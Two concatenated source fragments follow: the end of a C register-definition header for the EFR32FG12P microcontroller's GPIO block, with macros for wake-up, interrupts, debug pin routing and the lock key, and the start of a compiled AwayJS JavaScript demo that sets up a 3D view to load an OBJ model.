/**< Shift value for GPIO_EM4WU9 */ #define _GPIO_EXTILEVEL_EM4WU9_MASK 0x2000000UL /**< Bit mask for GPIO_EM4WU9 */ #define _GPIO_EXTILEVEL_EM4WU9_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EXTILEVEL */ #define GPIO_EXTILEVEL_EM4WU9_DEFAULT (_GPIO_EXTILEVEL_EM4WU9_DEFAULT << 25) /**< Shifted mode DEFAULT for GPIO_EXTILEVEL */ #define GPIO_EXTILEVEL_EM4WU12 (0x1UL << 28) /**< EM4 Wake Up Level for EM4WU12 Pin */ #define _GPIO_EXTILEVEL_EM4WU12_SHIFT 28 /**< Shift value for GPIO_EM4WU12 */ #define _GPIO_EXTILEVEL_EM4WU12_MASK 0x10000000UL /**< Bit mask for GPIO_EM4WU12 */ #define _GPIO_EXTILEVEL_EM4WU12_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EXTILEVEL */ #define GPIO_EXTILEVEL_EM4WU12_DEFAULT (_GPIO_EXTILEVEL_EM4WU12_DEFAULT << 28) /**< Shifted mode DEFAULT for GPIO_EXTILEVEL */ /* Bit fields for GPIO IF */ #define _GPIO_IF_RESETVALUE 0x00000000UL /**< Default value for GPIO_IF */ #define _GPIO_IF_MASK 0xFFFFFFFFUL /**< Mask for GPIO_IF */ #define _GPIO_IF_EXT_SHIFT 0 /**< Shift value for GPIO_EXT */ #define _GPIO_IF_EXT_MASK 0xFFFFUL /**< Bit mask for GPIO_EXT */ #define _GPIO_IF_EXT_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_IF */ #define GPIO_IF_EXT_DEFAULT (_GPIO_IF_EXT_DEFAULT << 0) /**< Shifted mode DEFAULT for GPIO_IF */ #define _GPIO_IF_EM4WU_SHIFT 16 /**< Shift value for GPIO_EM4WU */ #define _GPIO_IF_EM4WU_MASK 0xFFFF0000UL /**< Bit mask for GPIO_EM4WU */ #define _GPIO_IF_EM4WU_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_IF */ #define GPIO_IF_EM4WU_DEFAULT (_GPIO_IF_EM4WU_DEFAULT << 16) /**< Shifted mode DEFAULT for GPIO_IF */ /* Bit fields for GPIO IFS */ #define _GPIO_IFS_RESETVALUE 0x00000000UL /**< Default value for GPIO_IFS */ #define _GPIO_IFS_MASK 0xFFFFFFFFUL /**< Mask for GPIO_IFS */ #define _GPIO_IFS_EXT_SHIFT 0 /**< Shift value for GPIO_EXT */ #define _GPIO_IFS_EXT_MASK 0xFFFFUL /**< Bit mask for GPIO_EXT */ #define _GPIO_IFS_EXT_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_IFS */ #define GPIO_IFS_EXT_DEFAULT (_GPIO_IFS_EXT_DEFAULT << 0) /**< Shifted mode DEFAULT for GPIO_IFS */ #define _GPIO_IFS_EM4WU_SHIFT 16 /**< Shift value for GPIO_EM4WU */ #define _GPIO_IFS_EM4WU_MASK 0xFFFF0000UL /**< Bit mask for GPIO_EM4WU */ #define _GPIO_IFS_EM4WU_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_IFS */ #define GPIO_IFS_EM4WU_DEFAULT (_GPIO_IFS_EM4WU_DEFAULT << 16) /**< Shifted mode DEFAULT for GPIO_IFS */ /* Bit fields for GPIO IFC */ #define _GPIO_IFC_RESETVALUE 0x00000000UL /**< Default value for GPIO_IFC */ #define _GPIO_IFC_MASK 0xFFFFFFFFUL /**< Mask for GPIO_IFC */ #define _GPIO_IFC_EXT_SHIFT 0 /**< Shift value for GPIO_EXT */ #define _GPIO_IFC_EXT_MASK 0xFFFFUL /**< Bit mask for GPIO_EXT */ #define _GPIO_IFC_EXT_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_IFC */ #define GPIO_IFC_EXT_DEFAULT (_GPIO_IFC_EXT_DEFAULT << 0) /**< Shifted mode DEFAULT for GPIO_IFC */ #define _GPIO_IFC_EM4WU_SHIFT 16 /**< Shift value for GPIO_EM4WU */ #define _GPIO_IFC_EM4WU_MASK 0xFFFF0000UL /**< Bit mask for GPIO_EM4WU */ #define _GPIO_IFC_EM4WU_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_IFC */ #define GPIO_IFC_EM4WU_DEFAULT (_GPIO_IFC_EM4WU_DEFAULT << 16) /**< Shifted mode DEFAULT for GPIO_IFC */ /* Bit fields for GPIO IEN */ #define _GPIO_IEN_RESETVALUE 0x00000000UL /**< Default value for GPIO_IEN */ #define _GPIO_IEN_MASK 0xFFFFFFFFUL /**< Mask for GPIO_IEN */ #define _GPIO_IEN_EXT_SHIFT 0 /**< Shift value for GPIO_EXT */ #define _GPIO_IEN_EXT_MASK 0xFFFFUL /**< Bit mask for GPIO_EXT */ #define _GPIO_IEN_EXT_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_IEN */ #define GPIO_IEN_EXT_DEFAULT (_GPIO_IEN_EXT_DEFAULT << 0) /**< Shifted mode DEFAULT for GPIO_IEN */ #define _GPIO_IEN_EM4WU_SHIFT 16 /**< Shift value for GPIO_EM4WU */ #define _GPIO_IEN_EM4WU_MASK 0xFFFF0000UL /**< Bit mask for GPIO_EM4WU */ #define _GPIO_IEN_EM4WU_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_IEN */ #define GPIO_IEN_EM4WU_DEFAULT (_GPIO_IEN_EM4WU_DEFAULT << 16) /**< Shifted mode DEFAULT for GPIO_IEN */ /* Bit fields for GPIO EM4WUEN */ #define _GPIO_EM4WUEN_RESETVALUE 0x00000000UL /**< Default value for GPIO_EM4WUEN */ #define _GPIO_EM4WUEN_MASK 0xFFFF0000UL /**< Mask for GPIO_EM4WUEN */ #define _GPIO_EM4WUEN_EM4WUEN_SHIFT 16 /**< Shift value for GPIO_EM4WUEN */ #define _GPIO_EM4WUEN_EM4WUEN_MASK 0xFFFF0000UL /**< Bit mask for GPIO_EM4WUEN */ #define _GPIO_EM4WUEN_EM4WUEN_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EM4WUEN */ #define GPIO_EM4WUEN_EM4WUEN_DEFAULT (_GPIO_EM4WUEN_EM4WUEN_DEFAULT << 16) /**< Shifted mode DEFAULT for GPIO_EM4WUEN */ /* Bit fields for GPIO ROUTEPEN */ #define _GPIO_ROUTEPEN_RESETVALUE 0x0000000FUL /**< Default value for GPIO_ROUTEPEN */ #define _GPIO_ROUTEPEN_MASK 0x001F001FUL /**< Mask for GPIO_ROUTEPEN */ #define GPIO_ROUTEPEN_SWCLKTCKPEN (0x1UL << 0) /**< Serial Wire Clock and JTAG Test Clock Pin Enable */ #define _GPIO_ROUTEPEN_SWCLKTCKPEN_SHIFT 0 /**< Shift value for GPIO_SWCLKTCKPEN */ #define _GPIO_ROUTEPEN_SWCLKTCKPEN_MASK 0x1UL /**< Bit mask for GPIO_SWCLKTCKPEN */ #define _GPIO_ROUTEPEN_SWCLKTCKPEN_DEFAULT 0x00000001UL /**< Mode DEFAULT for GPIO_ROUTEPEN */ #define GPIO_ROUTEPEN_SWCLKTCKPEN_DEFAULT (_GPIO_ROUTEPEN_SWCLKTCKPEN_DEFAULT << 0) /**< Shifted mode DEFAULT for GPIO_ROUTEPEN */ #define GPIO_ROUTEPEN_SWDIOTMSPEN (0x1UL << 1) /**< Serial Wire Data and JTAG Test Mode Select Pin Enable */ #define _GPIO_ROUTEPEN_SWDIOTMSPEN_SHIFT 1 /**< Shift value for GPIO_SWDIOTMSPEN */ #define _GPIO_ROUTEPEN_SWDIOTMSPEN_MASK 0x2UL /**< Bit mask for GPIO_SWDIOTMSPEN */ #define _GPIO_ROUTEPEN_SWDIOTMSPEN_DEFAULT 0x00000001UL /**< Mode DEFAULT for GPIO_ROUTEPEN */ #define GPIO_ROUTEPEN_SWDIOTMSPEN_DEFAULT (_GPIO_ROUTEPEN_SWDIOTMSPEN_DEFAULT << 1) /**< Shifted mode DEFAULT for GPIO_ROUTEPEN */ #define GPIO_ROUTEPEN_TDOPEN (0x1UL << 2) /**< JTAG Test Debug Output Pin Enable */ #define _GPIO_ROUTEPEN_TDOPEN_SHIFT 2 /**< Shift value for GPIO_TDOPEN */ #define _GPIO_ROUTEPEN_TDOPEN_MASK 0x4UL /**< Bit mask for GPIO_TDOPEN */ #define _GPIO_ROUTEPEN_TDOPEN_DEFAULT 0x00000001UL /**< Mode DEFAULT for GPIO_ROUTEPEN */ #define GPIO_ROUTEPEN_TDOPEN_DEFAULT (_GPIO_ROUTEPEN_TDOPEN_DEFAULT << 2) /**< Shifted mode DEFAULT for GPIO_ROUTEPEN */ #define GPIO_ROUTEPEN_TDIPEN (0x1UL << 3) /**< JTAG Test Debug Input Pin Enable */ #define _GPIO_ROUTEPEN_TDIPEN_SHIFT 3 /**< Shift value for GPIO_TDIPEN */ #define _GPIO_ROUTEPEN_TDIPEN_MASK 0x8UL /**< Bit mask for GPIO_TDIPEN */ #define _GPIO_ROUTEPEN_TDIPEN_DEFAULT 0x00000001UL /**< Mode DEFAULT for GPIO_ROUTEPEN */ #define GPIO_ROUTEPEN_TDIPEN_DEFAULT (_GPIO_ROUTEPEN_TDIPEN_DEFAULT << 3) /**< Shifted mode DEFAULT for GPIO_ROUTEPEN */ #define GPIO_ROUTEPEN_SWVPEN (0x1UL << 4) /**< Serial Wire Viewer Output Pin Enable */ #define _GPIO_ROUTEPEN_SWVPEN_SHIFT 4 /**< Shift value for GPIO_SWVPEN */ #define _GPIO_ROUTEPEN_SWVPEN_MASK 0x10UL /**< Bit mask for GPIO_SWVPEN */ #define _GPIO_ROUTEPEN_SWVPEN_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_ROUTEPEN */ #define GPIO_ROUTEPEN_SWVPEN_DEFAULT (_GPIO_ROUTEPEN_SWVPEN_DEFAULT << 4) /**< Shifted mode DEFAULT for GPIO_ROUTEPEN */ #define GPIO_ROUTEPEN_ETMTCLKPEN (0x1UL << 16) /**< ETM Trace Clock Pin Enable */ #define _GPIO_ROUTEPEN_ETMTCLKPEN_SHIFT 16 /**< Shift value for GPIO_ETMTCLKPEN */ #define _GPIO_ROUTEPEN_ETMTCLKPEN_MASK 0x10000UL /**< Bit mask for GPIO_ETMTCLKPEN */ #define _GPIO_ROUTEPEN_ETMTCLKPEN_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_ROUTEPEN */ #define GPIO_ROUTEPEN_ETMTCLKPEN_DEFAULT (_GPIO_ROUTEPEN_ETMTCLKPEN_DEFAULT << 16) /**< Shifted mode DEFAULT for GPIO_ROUTEPEN */ #define GPIO_ROUTEPEN_ETMTD0PEN (0x1UL << 17) /**< ETM Trace Data Pin Enable */ #define _GPIO_ROUTEPEN_ETMTD0PEN_SHIFT 17 /**< Shift value for GPIO_ETMTD0PEN */ #define _GPIO_ROUTEPEN_ETMTD0PEN_MASK 0x20000UL /**< Bit mask for GPIO_ETMTD0PEN */ #define _GPIO_ROUTEPEN_ETMTD0PEN_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_ROUTEPEN */ #define GPIO_ROUTEPEN_ETMTD0PEN_DEFAULT (_GPIO_ROUTEPEN_ETMTD0PEN_DEFAULT << 17) /**< Shifted mode DEFAULT for GPIO_ROUTEPEN */ #define GPIO_ROUTEPEN_ETMTD1PEN (0x1UL << 18) /**< ETM Trace Data Pin Enable */ #define _GPIO_ROUTEPEN_ETMTD1PEN_SHIFT 18 /**< Shift value for GPIO_ETMTD1PEN */ #define _GPIO_ROUTEPEN_ETMTD1PEN_MASK 0x40000UL /**< Bit mask for GPIO_ETMTD1PEN */ #define _GPIO_ROUTEPEN_ETMTD1PEN_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_ROUTEPEN */ #define GPIO_ROUTEPEN_ETMTD1PEN_DEFAULT (_GPIO_ROUTEPEN_ETMTD1PEN_DEFAULT << 18) /**< Shifted mode DEFAULT for GPIO_ROUTEPEN */ #define GPIO_ROUTEPEN_ETMTD2PEN (0x1UL << 19) /**< ETM Trace Data Pin Enable */ #define _GPIO_ROUTEPEN_ETMTD2PEN_SHIFT 19 /**< Shift value for GPIO_ETMTD2PEN */ #define _GPIO_ROUTEPEN_ETMTD2PEN_MASK 0x80000UL /**< Bit mask for GPIO_ETMTD2PEN */ #define _GPIO_ROUTEPEN_ETMTD2PEN_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_ROUTEPEN */ #define GPIO_ROUTEPEN_ETMTD2PEN_DEFAULT (_GPIO_ROUTEPEN_ETMTD2PEN_DEFAULT << 19) /**< Shifted mode DEFAULT for GPIO_ROUTEPEN */ #define GPIO_ROUTEPEN_ETMTD3PEN (0x1UL << 20) /**< ETM Trace Data Pin Enable */ #define _GPIO_ROUTEPEN_ETMTD3PEN_SHIFT 20 /**< Shift value for GPIO_ETMTD3PEN */ #define _GPIO_ROUTEPEN_ETMTD3PEN_MASK 0x100000UL /**< Bit mask for GPIO_ETMTD3PEN */ #define _GPIO_ROUTEPEN_ETMTD3PEN_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_ROUTEPEN */ #define GPIO_ROUTEPEN_ETMTD3PEN_DEFAULT (_GPIO_ROUTEPEN_ETMTD3PEN_DEFAULT << 20) /**< Shifted mode DEFAULT for GPIO_ROUTEPEN */ /* Bit fields for GPIO ROUTELOC0 */ #define _GPIO_ROUTELOC0_RESETVALUE 0x00000000UL /**< Default value for GPIO_ROUTELOC0 */ #define _GPIO_ROUTELOC0_MASK 0x00000003UL /**< Mask for GPIO_ROUTELOC0 */ #define _GPIO_ROUTELOC0_SWVLOC_SHIFT 0 /**< Shift value for GPIO_SWVLOC */ #define _GPIO_ROUTELOC0_SWVLOC_MASK 0x3UL /**< Bit mask for GPIO_SWVLOC */ #define _GPIO_ROUTELOC0_SWVLOC_LOC0 0x00000000UL /**< Mode LOC0 for GPIO_ROUTELOC0 */ #define _GPIO_ROUTELOC0_SWVLOC_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_ROUTELOC0 */ #define _GPIO_ROUTELOC0_SWVLOC_LOC1 0x00000001UL /**< Mode LOC1 for GPIO_ROUTELOC0 */ #define _GPIO_ROUTELOC0_SWVLOC_LOC2 0x00000002UL /**< Mode LOC2 for GPIO_ROUTELOC0 */ #define _GPIO_ROUTELOC0_SWVLOC_LOC3 0x00000003UL /**< Mode LOC3 for GPIO_ROUTELOC0 */ #define GPIO_ROUTELOC0_SWVLOC_LOC0 (_GPIO_ROUTELOC0_SWVLOC_LOC0 << 0) /**< Shifted mode LOC0 for GPIO_ROUTELOC0 */ #define GPIO_ROUTELOC0_SWVLOC_DEFAULT (_GPIO_ROUTELOC0_SWVLOC_DEFAULT << 0) /**< Shifted mode DEFAULT for GPIO_ROUTELOC0 */ #define GPIO_ROUTELOC0_SWVLOC_LOC1 (_GPIO_ROUTELOC0_SWVLOC_LOC1 << 0) /**< Shifted mode LOC1 for GPIO_ROUTELOC0 */ #define GPIO_ROUTELOC0_SWVLOC_LOC2 (_GPIO_ROUTELOC0_SWVLOC_LOC2 << 0) /**< Shifted mode LOC2 for GPIO_ROUTELOC0 */ #define GPIO_ROUTELOC0_SWVLOC_LOC3 (_GPIO_ROUTELOC0_SWVLOC_LOC3 << 0) /**< Shifted mode LOC3 for GPIO_ROUTELOC0 */ /* Bit fields for GPIO ROUTELOC1 */ #define _GPIO_ROUTELOC1_RESETVALUE 0x00000000UL /**< Default value for GPIO_ROUTELOC1 */ #define _GPIO_ROUTELOC1_MASK 0x0C30C303UL /**< Mask for GPIO_ROUTELOC1 */ #define _GPIO_ROUTELOC1_ETMTCLKLOC_SHIFT 0 /**< Shift value for GPIO_ETMTCLKLOC */ #define _GPIO_ROUTELOC1_ETMTCLKLOC_MASK 0x3UL /**< Bit mask for GPIO_ETMTCLKLOC */ #define _GPIO_ROUTELOC1_ETMTCLKLOC_LOC0 0x00000000UL /**< Mode LOC0 for GPIO_ROUTELOC1 */ #define _GPIO_ROUTELOC1_ETMTCLKLOC_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_ROUTELOC1 */ #define _GPIO_ROUTELOC1_ETMTCLKLOC_LOC1 0x00000001UL /**< Mode LOC1 for GPIO_ROUTELOC1 */ #define _GPIO_ROUTELOC1_ETMTCLKLOC_LOC2 0x00000002UL /**< Mode LOC2 for GPIO_ROUTELOC1 */ #define _GPIO_ROUTELOC1_ETMTCLKLOC_LOC3 0x00000003UL /**< Mode LOC3 for GPIO_ROUTELOC1 */ #define GPIO_ROUTELOC1_ETMTCLKLOC_LOC0 (_GPIO_ROUTELOC1_ETMTCLKLOC_LOC0 << 0) /**< Shifted mode LOC0 for GPIO_ROUTELOC1 */ #define GPIO_ROUTELOC1_ETMTCLKLOC_DEFAULT (_GPIO_ROUTELOC1_ETMTCLKLOC_DEFAULT << 0) /**< Shifted mode DEFAULT for GPIO_ROUTELOC1 */ #define GPIO_ROUTELOC1_ETMTCLKLOC_LOC1 (_GPIO_ROUTELOC1_ETMTCLKLOC_LOC1 << 0) /**< Shifted mode LOC1 for GPIO_ROUTELOC1 */ #define GPIO_ROUTELOC1_ETMTCLKLOC_LOC2 (_GPIO_ROUTELOC1_ETMTCLKLOC_LOC2 << 0) /**< Shifted mode LOC2 for GPIO_ROUTELOC1 */ #define GPIO_ROUTELOC1_ETMTCLKLOC_LOC3 (_GPIO_ROUTELOC1_ETMTCLKLOC_LOC3 << 0) /**< Shifted mode LOC3 for GPIO_ROUTELOC1 */ #define _GPIO_ROUTELOC1_ETMTD0LOC_SHIFT 8 /**< Shift value for GPIO_ETMTD0LOC */ #define _GPIO_ROUTELOC1_ETMTD0LOC_MASK 0x300UL /**< Bit mask for GPIO_ETMTD0LOC */ #define _GPIO_ROUTELOC1_ETMTD0LOC_LOC0 0x00000000UL /**< Mode LOC0 for GPIO_ROUTELOC1 */ #define _GPIO_ROUTELOC1_ETMTD0LOC_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_ROUTELOC1 */ #define _GPIO_ROUTELOC1_ETMTD0LOC_LOC1 0x00000001UL /**< Mode LOC1 for GPIO_ROUTELOC1 */ #define _GPIO_ROUTELOC1_ETMTD0LOC_LOC2 0x00000002UL /**< Mode LOC2 for GPIO_ROUTELOC1 */ #define _GPIO_ROUTELOC1_ETMTD0LOC_LOC3 0x00000003UL /**< Mode LOC3 for GPIO_ROUTELOC1 */ #define GPIO_ROUTELOC1_ETMTD0LOC_LOC0 (_GPIO_ROUTELOC1_ETMTD0LOC_LOC0 << 8) /**< Shifted mode LOC0 for GPIO_ROUTELOC1 */ #define GPIO_ROUTELOC1_ETMTD0LOC_DEFAULT (_GPIO_ROUTELOC1_ETMTD0LOC_DEFAULT << 8) /**< Shifted mode DEFAULT for GPIO_ROUTELOC1 */ #define GPIO_ROUTELOC1_ETMTD0LOC_LOC1 (_GPIO_ROUTELOC1_ETMTD0LOC_LOC1 << 8) /**< Shifted mode LOC1 for GPIO_ROUTELOC1 */ #define GPIO_ROUTELOC1_ETMTD0LOC_LOC2 (_GPIO_ROUTELOC1_ETMTD0LOC_LOC2 << 8) /**< Shifted mode LOC2 for GPIO_ROUTELOC1 */ #define GPIO_ROUTELOC1_ETMTD0LOC_LOC3 (_GPIO_ROUTELOC1_ETMTD0LOC_LOC3 << 8) /**< Shifted mode LOC3 for GPIO_ROUTELOC1 */ #define _GPIO_ROUTELOC1_ETMTD1LOC_SHIFT 14 /**< Shift value for GPIO_ETMTD1LOC */ #define _GPIO_ROUTELOC1_ETMTD1LOC_MASK 0xC000UL /**< Bit mask for GPIO_ETMTD1LOC */ #define _GPIO_ROUTELOC1_ETMTD1LOC_LOC0 0x00000000UL /**< Mode LOC0 for GPIO_ROUTELOC1 */ #define _GPIO_ROUTELOC1_ETMTD1LOC_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_ROUTELOC1 */ #define _GPIO_ROUTELOC1_ETMTD1LOC_LOC1 0x00000001UL /**< Mode LOC1 for GPIO_ROUTELOC1 */ #define _GPIO_ROUTELOC1_ETMTD1LOC_LOC2 0x00000002UL /**< Mode LOC2 for GPIO_ROUTELOC1 */ #define _GPIO_ROUTELOC1_ETMTD1LOC_LOC3 0x00000003UL /**< Mode LOC3 for GPIO_ROUTELOC1 */ #define GPIO_ROUTELOC1_ETMTD1LOC_LOC0 (_GPIO_ROUTELOC1_ETMTD1LOC_LOC0 << 14) /**< Shifted mode LOC0 for GPIO_ROUTELOC1 */ #define GPIO_ROUTELOC1_ETMTD1LOC_DEFAULT (_GPIO_ROUTELOC1_ETMTD1LOC_DEFAULT << 14) /**< Shifted mode DEFAULT for GPIO_ROUTELOC1 */ #define GPIO_ROUTELOC1_ETMTD1LOC_LOC1 (_GPIO_ROUTELOC1_ETMTD1LOC_LOC1 << 14) /**< Shifted mode LOC1 for GPIO_ROUTELOC1 */ #define GPIO_ROUTELOC1_ETMTD1LOC_LOC2 (_GPIO_ROUTELOC1_ETMTD1LOC_LOC2 << 14) /**< Shifted mode LOC2 for GPIO_ROUTELOC1 */ #define GPIO_ROUTELOC1_ETMTD1LOC_LOC3 (_GPIO_ROUTELOC1_ETMTD1LOC_LOC3 << 14) /**< Shifted mode LOC3 for GPIO_ROUTELOC1 */ #define _GPIO_ROUTELOC1_ETMTD2LOC_SHIFT 20 /**< Shift value for GPIO_ETMTD2LOC */ #define _GPIO_ROUTELOC1_ETMTD2LOC_MASK 0x300000UL /**< Bit mask for GPIO_ETMTD2LOC */ #define _GPIO_ROUTELOC1_ETMTD2LOC_LOC0 0x00000000UL /**< Mode LOC0 for GPIO_ROUTELOC1 */ #define _GPIO_ROUTELOC1_ETMTD2LOC_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_ROUTELOC1 */ #define _GPIO_ROUTELOC1_ETMTD2LOC_LOC1 0x00000001UL /**< Mode LOC1 for GPIO_ROUTELOC1 */ #define _GPIO_ROUTELOC1_ETMTD2LOC_LOC2 0x00000002UL /**< Mode LOC2 for GPIO_ROUTELOC1 */ #define _GPIO_ROUTELOC1_ETMTD2LOC_LOC3 0x00000003UL /**< Mode LOC3 for GPIO_ROUTELOC1 */ #define GPIO_ROUTELOC1_ETMTD2LOC_LOC0 (_GPIO_ROUTELOC1_ETMTD2LOC_LOC0 << 20) /**< Shifted mode LOC0 for GPIO_ROUTELOC1 */ #define GPIO_ROUTELOC1_ETMTD2LOC_DEFAULT (_GPIO_ROUTELOC1_ETMTD2LOC_DEFAULT << 20) /**< Shifted mode DEFAULT for GPIO_ROUTELOC1 */ #define GPIO_ROUTELOC1_ETMTD2LOC_LOC1 (_GPIO_ROUTELOC1_ETMTD2LOC_LOC1 << 20) /**< Shifted mode LOC1 for GPIO_ROUTELOC1 */ #define GPIO_ROUTELOC1_ETMTD2LOC_LOC2 (_GPIO_ROUTELOC1_ETMTD2LOC_LOC2 << 20) /**< Shifted mode LOC2 for GPIO_ROUTELOC1 */ #define GPIO_ROUTELOC1_ETMTD2LOC_LOC3 (_GPIO_ROUTELOC1_ETMTD2LOC_LOC3 << 20) /**< Shifted mode LOC3 for GPIO_ROUTELOC1 */ #define _GPIO_ROUTELOC1_ETMTD3LOC_SHIFT 26 /**< Shift value for GPIO_ETMTD3LOC */ #define _GPIO_ROUTELOC1_ETMTD3LOC_MASK 0xC000000UL /**< Bit mask for GPIO_ETMTD3LOC */ #define _GPIO_ROUTELOC1_ETMTD3LOC_LOC0 0x00000000UL /**< Mode LOC0 for GPIO_ROUTELOC1 */ #define _GPIO_ROUTELOC1_ETMTD3LOC_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_ROUTELOC1 */ #define _GPIO_ROUTELOC1_ETMTD3LOC_LOC1 0x00000001UL /**< Mode LOC1 for GPIO_ROUTELOC1 */ #define _GPIO_ROUTELOC1_ETMTD3LOC_LOC2 0x00000002UL /**< Mode LOC2 for GPIO_ROUTELOC1 */ #define _GPIO_ROUTELOC1_ETMTD3LOC_LOC3 0x00000003UL /**< Mode LOC3 for GPIO_ROUTELOC1 */ #define GPIO_ROUTELOC1_ETMTD3LOC_LOC0 (_GPIO_ROUTELOC1_ETMTD3LOC_LOC0 << 26) /**< Shifted mode LOC0 for GPIO_ROUTELOC1 */ #define GPIO_ROUTELOC1_ETMTD3LOC_DEFAULT (_GPIO_ROUTELOC1_ETMTD3LOC_DEFAULT << 26) /**< Shifted mode DEFAULT for GPIO_ROUTELOC1 */ #define GPIO_ROUTELOC1_ETMTD3LOC_LOC1 (_GPIO_ROUTELOC1_ETMTD3LOC_LOC1 << 26) /**< Shifted mode LOC1 for GPIO_ROUTELOC1 */ #define GPIO_ROUTELOC1_ETMTD3LOC_LOC2 (_GPIO_ROUTELOC1_ETMTD3LOC_LOC2 << 26) /**< Shifted mode LOC2 for GPIO_ROUTELOC1 */ #define GPIO_ROUTELOC1_ETMTD3LOC_LOC3 (_GPIO_ROUTELOC1_ETMTD3LOC_LOC3 << 26) /**< Shifted mode LOC3 for GPIO_ROUTELOC1 */ /* Bit fields for GPIO INSENSE */ #define _GPIO_INSENSE_RESETVALUE 0x00000003UL /**< Default value for GPIO_INSENSE */ #define _GPIO_INSENSE_MASK 0x00000003UL /**< Mask for GPIO_INSENSE */ #define GPIO_INSENSE_INT (0x1UL << 0) /**< Interrupt Sense Enable */ #define _GPIO_INSENSE_INT_SHIFT 0 /**< Shift value for GPIO_INT */ #define _GPIO_INSENSE_INT_MASK 0x1UL /**< Bit mask for GPIO_INT */ #define _GPIO_INSENSE_INT_DEFAULT 0x00000001UL /**< Mode DEFAULT for GPIO_INSENSE */ #define GPIO_INSENSE_INT_DEFAULT (_GPIO_INSENSE_INT_DEFAULT << 0) /**< Shifted mode DEFAULT for GPIO_INSENSE */ #define GPIO_INSENSE_EM4WU (0x1UL << 1) /**< EM4WU Interrupt Sense Enable */ #define _GPIO_INSENSE_EM4WU_SHIFT 1 /**< Shift value for GPIO_EM4WU */ #define _GPIO_INSENSE_EM4WU_MASK 0x2UL /**< Bit mask for GPIO_EM4WU */ #define _GPIO_INSENSE_EM4WU_DEFAULT 0x00000001UL /**< Mode DEFAULT for GPIO_INSENSE */ #define GPIO_INSENSE_EM4WU_DEFAULT (_GPIO_INSENSE_EM4WU_DEFAULT << 1) /**< Shifted mode DEFAULT for GPIO_INSENSE */ /* Bit fields for GPIO LOCK */ #define _GPIO_LOCK_RESETVALUE 0x00000000UL /**< Default value for GPIO_LOCK */ #define _GPIO_LOCK_MASK 0x0000FFFFUL /**< Mask for GPIO_LOCK */ #define _GPIO_LOCK_LOCKKEY_SHIFT 0 /**< Shift value for GPIO_LOCKKEY */ #define _GPIO_LOCK_LOCKKEY_MASK 0xFFFFUL /**< Bit mask for GPIO_LOCKKEY */ #define _GPIO_LOCK_LOCKKEY_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_LOCK */ #define _GPIO_LOCK_LOCKKEY_UNLOCKED 0x00000000UL /**< Mode UNLOCKED for GPIO_LOCK */ #define _GPIO_LOCK_LOCKKEY_LOCK 0x00000000UL /**< Mode LOCK for GPIO_LOCK */ #define _GPIO_LOCK_LOCKKEY_LOCKED 0x00000001UL /**< Mode LOCKED for GPIO_LOCK */ #define _GPIO_LOCK_LOCKKEY_UNLOCK 0x0000A534UL /**< Mode UNLOCK for GPIO_LOCK */ #define GPIO_LOCK_LOCKKEY_DEFAULT (_GPIO_LOCK_LOCKKEY_DEFAULT << 0) /**< Shifted mode DEFAULT for GPIO_LOCK */ #define GPIO_LOCK_LOCKKEY_UNLOCKED (_GPIO_LOCK_LOCKKEY_UNLOCKED << 0) /**< Shifted mode UNLOCKED for GPIO_LOCK */ #define GPIO_LOCK_LOCKKEY_LOCK (_GPIO_LOCK_LOCKKEY_LOCK << 0) /**< Shifted mode LOCK for GPIO_LOCK */ #define GPIO_LOCK_LOCKKEY_LOCKED (_GPIO_LOCK_LOCKKEY_LOCKED << 0) /**< Shifted mode LOCKED for GPIO_LOCK */ #define GPIO_LOCK_LOCKKEY_UNLOCK (_GPIO_LOCK_LOCKKEY_UNLOCK << 0) /**< Shifted mode UNLOCK for GPIO_LOCK */ /** @} */ /** @} End of group EFR32FG12P_GPIO */ /** @} End of group Parts */
"use strict"; var BitmapImage2D_1 = require("awayjs-core/lib/image/BitmapImage2D"); var Sampler2D_1 = require("awayjs-core/lib/image/Sampler2D"); var LoaderEvent_1 = require("awayjs-core/lib/events/LoaderEvent"); var Vector3D_1 = require("awayjs-core/lib/geom/Vector3D"); var AssetLibrary_1 = require("awayjs-core/lib/library/AssetLibrary"); var URLRequest_1 = require("awayjs-core/lib/net/URLRequest"); var Debug_1 = require("awayjs-core/lib/utils/Debug"); var RequestAnimationFrame_1 = require("awayjs-core/lib/utils/RequestAnimationFrame"); var View_1 = require("awayjs-display/lib/View"); var DisplayObjectContainer_1 = require("awayjs-display/lib/display/DisplayObjectContainer"); var DirectionalLight_1 = require("awayjs-display/lib/display/DirectionalLight"); var Sprite_1 = require("awayjs-display/lib/display/Sprite"); var StaticLightPicker_1 = require("awayjs-display/lib/materials/lightpickers/StaticLightPicker"); var DefaultRenderer_1 = require("awayjs-renderergl/lib/DefaultRenderer"); var MethodMaterial_1 = require("awayjs-methodmaterials/lib/MethodMaterial"); var OBJParser_1 = require("awayjs-parsers/lib/OBJParser"); /** * */ var ObjChiefTestDay = (function () { function ObjChiefTestDay() { var _this = this; this.sprites = new Array(); this.spartan = new DisplayObjectContainer_1.DisplayObjectContainer(); this.spartanFlag = false; Debug_1.Debug.LOG_PI_ERRORS = false; Debug_1.Debug.THROW_ERRORS = false; this.view = new View_1.View(new DefaultRenderer_1.DefaultRenderer()); this.view.camera.z = -50; this.view.camera.y = 20; this.view.camera.projection.near = 0.1; 